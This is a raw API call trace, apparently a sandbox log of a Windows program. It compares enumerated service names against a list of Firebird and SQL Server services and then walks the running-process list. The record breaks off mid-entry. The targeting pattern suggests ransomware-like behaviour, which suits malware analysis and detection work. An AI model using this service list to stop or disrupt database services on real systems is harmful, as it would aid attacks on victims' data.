lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0277.816] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0277.816] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0277.817] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0277.817] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0277.817] lstrlenW (lpString="LanmanServer") returned 12 [0277.817] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0277.817] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0277.817] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0277.817] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0277.817] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0277.817] lstrlenW (lpString="LanmanWorkstation") returned 17 [0277.817] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0277.817] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0277.817] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0277.817] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0277.817] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0277.817] lstrlenW (lpString="lfsvc") returned 5 [0277.817] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0277.817] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0277.817] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0277.817] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0277.817] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0277.817] lstrlenW (lpString="lmhosts") returned 7 [0277.817] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0277.817] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0277.817] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0277.817] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0277.817] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0277.817] lstrlenW (lpString="LSM") returned 3 [0277.817] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0277.817] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0277.817] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0277.817] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0277.817] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0277.817] lstrlenW (lpString="MpsSvc") returned 6 [0277.818] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0277.818] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0277.818] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0277.818] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0277.818] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0277.818] lstrlenW (lpString="NcbService") returned 10 [0277.818] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0277.818] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0277.818] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0277.818] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0277.818] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0277.818] lstrlenW (lpString="netprofm") returned 8 [0277.818] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0277.818] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0277.818] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0277.818] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0277.818] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0277.818] lstrlenW (lpString="NgcSvc") returned 6 [0277.818] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0277.818] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0277.818] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0277.818] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0277.818] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0277.818] lstrlenW (lpString="NlaSvc") returned 6 [0277.818] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0277.818] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0277.818] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0277.818] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0277.818] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0277.818] lstrlenW (lpString="nsi") returned 3 [0277.818] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0277.818] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0277.819] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0277.819] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0277.819] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0277.819] lstrlenW (lpString="PcaSvc") returned 6 [0277.819] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0277.819] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0277.819] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0277.819] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0277.819] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0277.819] lstrlenW (lpString="PlugPlay") returned 8 [0277.819] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0277.819] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0277.819] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0277.819] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0277.819] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0277.819] lstrlenW (lpString="Power") returned 5 [0277.819] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0277.819] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0277.819] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0277.819] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0277.819] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0277.819] lstrlenW (lpString="ProfSvc") returned 7 [0277.819] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0277.819] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0277.819] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0277.819] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0277.819] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0277.819] lstrlenW (lpString="RpcEptMapper") returned 12 [0277.819] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0277.819] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0277.819] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0277.819] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0277.819] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0277.819] lstrlenW (lpString="RpcSs") returned 5 [0277.820] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0277.820] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0277.820] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0277.820] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0277.820] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0277.820] lstrlenW (lpString="SamSs") returned 5 [0277.820] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0277.820] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0277.820] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0277.820] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0277.820] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0277.820] lstrlenW (lpString="Schedule") returned 8 [0277.820] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0277.820] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0277.820] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0277.820] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0277.820] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0277.820] lstrlenW (lpString="SecurityHealthService") returned 21 [0277.820] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0277.820] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0277.820] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0277.820] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0277.820] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0277.820] lstrlenW (lpString="SENS") returned 4 [0277.820] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0277.820] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0277.820] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0277.820] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0277.820] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0277.820] lstrlenW (lpString="ShellHWDetection") returned 16 [0277.820] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0277.820] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0277.820] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0277.820] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0277.820] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0277.821] lstrlenW (lpString="Spooler") returned 7 [0277.821] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0277.821] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0277.821] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0277.821] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0277.821] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0277.821] lstrlenW (lpString="SSDPSRV") returned 7 [0277.821] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0277.821] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0277.821] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0277.821] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0277.821] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0277.821] lstrlenW (lpString="StateRepository") returned 15 [0277.821] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0277.821] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0277.821] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0277.821] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0277.821] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0277.821] lstrlenW (lpString="SysMain") returned 7 [0277.821] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0277.821] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0277.821] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0277.821] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0277.821] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0277.821] lstrlenW (lpString="SystemEventsBroker") returned 18 [0277.821] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0277.821] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0277.821] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0277.821] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0277.821] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0277.821] lstrlenW (lpString="Themes") returned 6 [0277.821] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0277.821] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0277.821] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0277.821] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0277.822] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x7dc300 | out: hHeap=0x6e0000) returned 1 [0277.822] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x42c [0277.825] Process32FirstW (in: hSnapshot=0x42c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0277.825] Process32NextW (in: hSnapshot=0x42c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x95, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0277.826] lstrlenW (lpString="System") returned 6 [0277.826] Process32NextW (in: hSnapshot=0x42c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0277.827] lstrlenW (lpString="smss.exe") returned 8 [0277.827] Process32NextW (in: hSnapshot=0x42c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0277.833] lstrlenW (lpString="csrss.exe") returned 9 [0277.833] Process32NextW (in: hSnapshot=0x42c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0277.833] lstrlenW (lpString="wininit.exe") returned 11 [0277.834] Process32NextW (in: hSnapshot=0x42c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0277.834] lstrlenW (lpString="csrss.exe") returned 9 [0277.834] Process32NextW (in: hSnapshot=0x42c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0277.835] lstrlenW (lpString="winlogon.exe") returned 12 [0277.835] Process32NextW (in: hSnapshot=0x42c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0277.835] lstrlenW (lpString="services.exe") returned 12 [0277.835] Process32NextW (in: hSnapshot=0x42c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0277.836] lstrlenW (lpString="lsass.exe") returned 9 [0277.836] Process32NextW (in: hSnapshot=0x42c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0277.837] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0277.837] Process32NextW (in: hSnapshot=0x42c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0277.837] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0277.837] Process32NextW (in: hSnapshot=0x42c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.838] lstrlenW (lpString="svchost.exe") returned 11 [0277.838] Process32NextW (in: hSnapshot=0x42c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.839] lstrlenW (lpString="svchost.exe") returned 11 [0277.839] Process32NextW (in: hSnapshot=0x42c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0277.839] lstrlenW (lpString="dwm.exe") returned 7 [0277.839] Process32NextW (in: hSnapshot=0x42c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.840] lstrlenW (lpString="svchost.exe") returned 11 [0277.840] Process32NextW (in: hSnapshot=0x42c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.841] lstrlenW (lpString="svchost.exe") returned 11 [0277.841] Process32NextW (in: hSnapshot=0x42c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.842] lstrlenW (lpString="svchost.exe") returned 11 [0277.842] Process32NextW (in: hSnapshot=0x42c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x46, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.842] lstrlenW (lpString="svchost.exe") returned 11 [0277.965] Process32NextW (in: hSnapshot=0x42c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.966] lstrlenW (lpString="svchost.exe") returned 11 [0277.966] Process32NextW (in: hSnapshot=0x42c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.967] lstrlenW (lpString="svchost.exe") returned 11 [0277.967] Process32NextW (in: hSnapshot=0x42c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.968] lstrlenW (lpString="svchost.exe") returned 11 [0277.968] Process32NextW (in: hSnapshot=0x42c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.968] lstrlenW (lpString="svchost.exe") returned 11 [0277.968] Process32NextW (in: hSnapshot=0x42c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x528, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.969] lstrlenW (lpString="svchost.exe") returned 11 [0277.969] Process32NextW (in: hSnapshot=0x42c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.970] lstrlenW (lpString="svchost.exe") returned 11 [0277.970] Process32NextW (in: hSnapshot=0x42c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0277.970] lstrlenW (lpString="spoolsv.exe") returned 11 [0277.970] Process32NextW (in: hSnapshot=0x42c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x648, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0277.971] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0277.971] Process32NextW (in: hSnapshot=0x42c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0277.972] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0277.972] Process32NextW (in: hSnapshot=0x42c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0277.972] lstrlenW (lpString="Memory Compression") returned 18 [0277.972] Process32NextW (in: hSnapshot=0x42c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x760, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.973] lstrlenW (lpString="svchost.exe") returned 11 [0277.973] Process32NextW (in: hSnapshot=0x42c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0277.973] lstrlenW (lpString="audiodg.exe") returned 11 [0277.974] Process32NextW (in: hSnapshot=0x42c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0277.974] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0277.974] Process32NextW (in: hSnapshot=0x42c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0277.975] lstrlenW (lpString="sihost.exe") returned 10 [0277.975] Process32NextW (in: hSnapshot=0x42c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.975] lstrlenW (lpString="svchost.exe") returned 11 [0277.976] Process32NextW (in: hSnapshot=0x42c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x938, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0277.976] lstrlenW (lpString="taskhostw.exe") returned 13 [0277.976] Process32NextW (in: hSnapshot=0x42c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x940, 